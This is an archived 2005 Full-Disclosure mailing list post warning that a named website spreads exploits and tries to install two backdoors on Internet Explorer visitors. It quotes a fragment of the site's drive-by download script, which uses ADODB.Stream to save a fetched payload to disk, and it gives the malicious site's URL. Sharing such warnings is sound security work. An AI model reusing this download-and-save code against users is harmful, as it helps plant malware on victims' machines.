| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0BKn9uKnWEeCDU7Vx+IAQ8KAAAAQAAAAhdOSABg4bE6lbzdg4chy3AEAAAAA@online.gateway.strangled.net>
Date: Tue Oct 4 04:45:50 2005
From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh)
Subject: http://molecularmultimedia.com/ an exploit
distribution point
ALERT do not visit with internet explorer http://molecularmultimedia.com/
It attemps to download 2 backdoors - anyone want to inform them ?
The homepage is a script
('ADODB.Stream');o.Mode=3;o.Type=1;o.Open();o.Write(b.responseBody);o.SaveTo
File(d,2)
Full script in the attachment...
________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: molecularmultimedia.com.txt
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051004/1388aec9/molecularmultimedia.com.txt